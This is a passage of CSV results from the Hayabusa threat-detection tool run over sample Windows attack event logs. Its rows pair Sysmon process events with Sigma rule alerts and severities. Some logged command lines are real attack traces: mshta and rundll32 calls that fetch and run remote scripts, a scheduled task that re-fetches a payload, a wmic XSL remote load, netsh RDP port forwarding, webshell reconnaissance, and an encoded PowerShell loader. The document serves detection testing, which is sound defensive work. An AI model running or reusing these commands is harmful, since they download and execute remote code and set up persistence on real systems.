""\\.\pipe\gecko-crash-server-pipe.3168"" 956 gpu : Path: C:\Program Files\Mozilla Firefox\firefox.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:08.279 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:08.728 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:08.728 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Mozilla Firefox\firefox.exe"" -contentproc --channel=""3168.6.1176946839\1268428683"" -childID 1 -isForBrowser -prefsHandle 1844 -prefMapHandle 1836 -prefsLen 1 -prefMapSize 183351 -parentBuildID 20190507012018 -greomni ""C:\Program Files\Mozilla Firefox\omni.ja"" -appomni ""C:\Program Files\Mozilla Firefox\browser\omni.ja"" -appdir ""C:\Program Files\Mozilla Firefox\browser"" - 3168 ""\\.\pipe\gecko-crash-server-pipe.3168"" 1680 tab : Path: C:\Program Files\Mozilla Firefox\firefox.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:10.161 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Mozilla Firefox\firefox.exe"" -contentproc --channel=""3168.13.1464597065\1561502721"" -childID 2 -isForBrowser -prefsHandle 2432 -prefMapHandle 2436 -prefsLen 5401 -prefMapSize 183351 -parentBuildID 20190507012018 -greomni ""C:\Program Files\Mozilla Firefox\omni.ja"" -appomni ""C:\Program Files\Mozilla Firefox\browser\omni.ja"" -appdir ""C:\Program Files\Mozilla Firefox\browser"" - 3168 ""\\.\pipe\gecko-crash-server-pipe.3168"" 2448 tab : Path: C:\Program Files\Mozilla Firefox\firefox.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-21 09:35:12.705 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Program Files\Mozilla Firefox\firefox.exe"" -contentproc --channel=""3168.20.1502540827\1989220046"" -childID 3 -isForBrowser -prefsHandle 3032 -prefMapHandle 3056 -prefsLen 6207 -prefMapSize 183351 -parentBuildID 20190507012018 -greomni ""C:\Program Files\Mozilla Firefox\omni.ja"" -appomni ""C:\Program Files\Mozilla Firefox\browser\omni.ja"" -appdir ""C:\Program Files\Mozilla Firefox\browser"" - 3168 ""\\.\pipe\gecko-crash-server-pipe.3168"" 3024 tab : Path: C:\Program Files\Mozilla Firefox\firefox.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Mozilla Firefox\firefox.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_firefox_comhijack_sysmon_11_13_7_1.evtx +2019-05-22 00:32:57.286 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /C rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%%20ActiveXObject(""WScript.Shell"").run(""mshta https://hotelesms.com/talsk.txt"",0,true); : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""cmd.exe"" /s /k pushd ""C:\Users\IEUser\Desktop""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.286 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%%20ActiveXObject(""WScript.Shell"").run(""mshta https://hotelesms.com/talsk.txt"",0,true); : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: cmd.exe /C rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%20ActiveXObject(""WScript.Shell"").run(""mshta https://hotelesms.com/talsk.txt"",0,true);",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.286 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.286 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Script in CommandLine,,rules/sigma/process_creation/win_pc_susp_rundll32_script_run.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.867 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\mshta.exe"" https://hotelesms.com/talsk.txt : Path: C:\Windows\System32\mshta.exe : User: IEWIN7\IEUser : Parent Command: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();h=new%20ActiveXObject(""WScript.Shell"").run(""mshta https://hotelesms.com/talsk.txt"",0,true);",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.867 +09:00,IEWIN7,1,high,MSHTA Suspicious Execution 01,,rules/sigma/process_creation/win_susp_mshta_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.867 +09:00,IEWIN7,1,high,Windows Shell Spawning Suspicious Program,,rules/sigma/process_creation/win_shell_spawn_susp_program.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:57.867 +09:00,IEWIN7,1,high,Suspicious MSHTA Process Patterns,,rules/sigma/process_creation/win_susp_mshta_pattern.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:59.769 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\schtasks.exe"" /Create /sc MINUTE /MO 60 /TN MSOFFICE_ /TR ""mshta.exe https://hotelesms.com/Injection.txt"" /F : Path: C:\Windows\System32\schtasks.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\mshta.exe"" https://hotelesms.com/talsk.txt",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:59.769 +09:00,IEWIN7,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 00:32:59.769 +09:00,IEWIN7,1,high,Windows Shell Spawning Suspicious Program,,rules/sigma/process_creation/win_shell_spawn_susp_program.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_persist_rundll32_mshta_scheduledtask_sysmon_1_3_11.evtx +2019-05-22 13:02:11.307 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Program Files\Internet Explorer\iexplore.exe"" SCODEF:1600 CREDAT:275470 /prefetch:2",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_driveby_cve-2018-15982_sysmon_1_10.evtx +2019-05-24 01:49:05.736 +09:00,IEWIN7,1,informational,Process Creation,"Command: wmic process list /format:""https://a.uguu.se/x50IGVBRfr55_test.xsl"" : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 01:49:05.736 +09:00,IEWIN7,1,medium,XSL Script Processing,,rules/sigma/process_creation/win_xsl_script_processing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 01:49:05.736 +09:00,IEWIN7,1,medium,SquiblyTwo,,rules/sigma/process_creation/win_bypass_squiblytwo.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 01:49:07.731 +09:00,IEWIN7,11,high,Windows Shell File Write to Suspicious Folder,,rules/sigma/file_event/file_event_win_shell_write_susp_directory.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 01:49:08.422 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: wmic process list /format:""https://a.uguu.se/x50IGVBRfr55_test.xsl""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 01:50:44.582 +09:00,IEWIN7,1,informational,Process Creation,Command: wmiadap.exe /F /T /R : Path: C:\Windows\System32\wbem\WMIADAP.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_wmic_xsl_internet_sysmon_3_1_11.evtx +2019-05-24 02:26:08.716 +09:00,IEWIN7,1,informational,Process Creation,"Command: msxsl.exe c:\Users\IEUser\AppData\Roaming\Adobe\test.dat c:\Users\IEUser\AppData\Roaming\Adobe\test.dat : Path: \\vboxsrv\HTools\msxsl.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_msxsl_xsl_sysmon_1_7.evtx +2019-05-24 02:26:08.716 +09:00,IEWIN7,1,medium,XSL Script Processing,,rules/sigma/process_creation/win_xsl_script_processing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_msxsl_xsl_sysmon_1_7.evtx +2019-05-24 02:26:09.437 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: msxsl.exe c:\Users\IEUser\AppData\Roaming\Adobe\test.dat c:\Users\IEUser\AppData\Roaming\Adobe\test.dat",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_msxsl_xsl_sysmon_1_7.evtx +2019-05-24 02:45:34.538 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_portforward_netsh_rdp_sysmon_13_1.evtx +2019-05-24 02:46:04.671 +09:00,IEWIN7,1,informational,Process Creation,"Command: netsh I p a v l=8001 listena=1.2.3.4 connectp=3389 c=1.2.3.5 : Path: C:\Windows\System32\netsh.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_portforward_netsh_rdp_sysmon_13_1.evtx +2019-05-24 02:46:04.671 +09:00,IEWIN7,1,medium,Netsh Port Forwarding,,rules/sigma/process_creation/win_netsh_port_fwd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_portforward_netsh_rdp_sysmon_13_1.evtx +2019-05-24 02:46:04.671 +09:00,IEWIN7,1,high,Netsh RDP Port Forwarding,,rules/sigma/process_creation/win_netsh_port_fwd_3389.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_portforward_netsh_rdp_sysmon_13_1.evtx +2019-05-24 10:33:53.112 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""c:\windows\system32\cmd.exe"" /c net user : Path: C:\Windows\System32\cmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: c:\windows\system32\inetsrv\w3wp.exe -ap ""DefaultAppPool"" -v ""v2.0"" -l ""webengine4.dll"" -a \\.\pipe\iisipm719e5ea8-b97b-40d0-96b6-44cca91790fe -h ""C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config"" -w """" -m 0 -t 20",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.112 +09:00,IEWIN7,1,high,Shells Spawned by Web Servers,,rules/sigma/process_creation/win_webshell_spawn.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.122 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.182 +09:00,IEWIN7,1,informational,Process Creation,"Command: net user : Path: C:\Windows\System32\net.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""c:\windows\system32\cmd.exe"" /c net user",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.182 +09:00,IEWIN7,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.182 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.192 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\net1 user : Path: C:\Windows\System32\net1.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: net user,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.192 +09:00,IEWIN7,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-24 10:33:53.192 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_typical_IIS_webshell_sysmon_1_10_traces.evtx +2019-05-26 13:01:42.385 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Desktop\info.rar\jjs.exe"" : Path: C:\Users\IEUser\Desktop\info.rar\jjs.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-26 13:01:42.966 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Desktop\info.rar\jjs.exe"" : Path: C:\Users\IEUser\Desktop\info.rar\jjs.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-26 13:01:43.567 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\svchost.exe : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Users\IEUser\Desktop\info.rar\jjs.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-26 13:01:43.567 +09:00,IEWIN7,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-26 13:01:43.567 +09:00,IEWIN7,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-26 13:01:43.567 +09:00,IEWIN7,1,critical,Suspect Svchost Activity,,rules/sigma/process_creation/win_susp_svchost_no_cli.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/apt10_jjs_sideloading_prochollowing_persist_as_service_sysmon_1_7_8_13.evtx +2019-05-27 00:47:56.667 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\System32\notepad.exe : Path: C:\Windows\System32\notepad.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: c:\windows\system32\inetsrv\w3wp.exe -ap ""DefaultAppPool"" -v ""v2.0"" -l ""webengine4.dll"" -a \\.\pipe\iisipmb9da32d5-aa43-42fc-aeea-0cc226e10973 -h ""C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config"" -w """" -m 0 -t 20",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:56.667 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:56.727 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:57.628 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:58.830 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:58.830 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:59.871 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:47:59.871 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:48:00.732 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:48:00.732 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:48:00.752 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\System32\notepad.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 00:48:01.864 +09:00,IEWIN7,3,high,Notepad Making Network Connection,,rules/sigma/network_connection/sysmon_notepad_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_rotten_potato_from_webshell_metasploit_sysmon_1_8_3.evtx +2019-05-27 10:28:42.711 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA== : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: c:\windows\system32\inetsrv\w3wp.exe -ap ""DefaultAppPool"" -v ""v2.0"" -l ""webengine4.dll"" -a \\.\pipe\iisipm7486e07c-453c-4f8e-85c6-8c8e3be98cd5 -h ""C:\inetpub\temp\apppools\DefaultAppPool\DefaultAppPool.config"" -w """" -m 0 -t 20",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:28:42.711 +09:00,IEWIN7,1,high,Suspicious PowerShell Parent 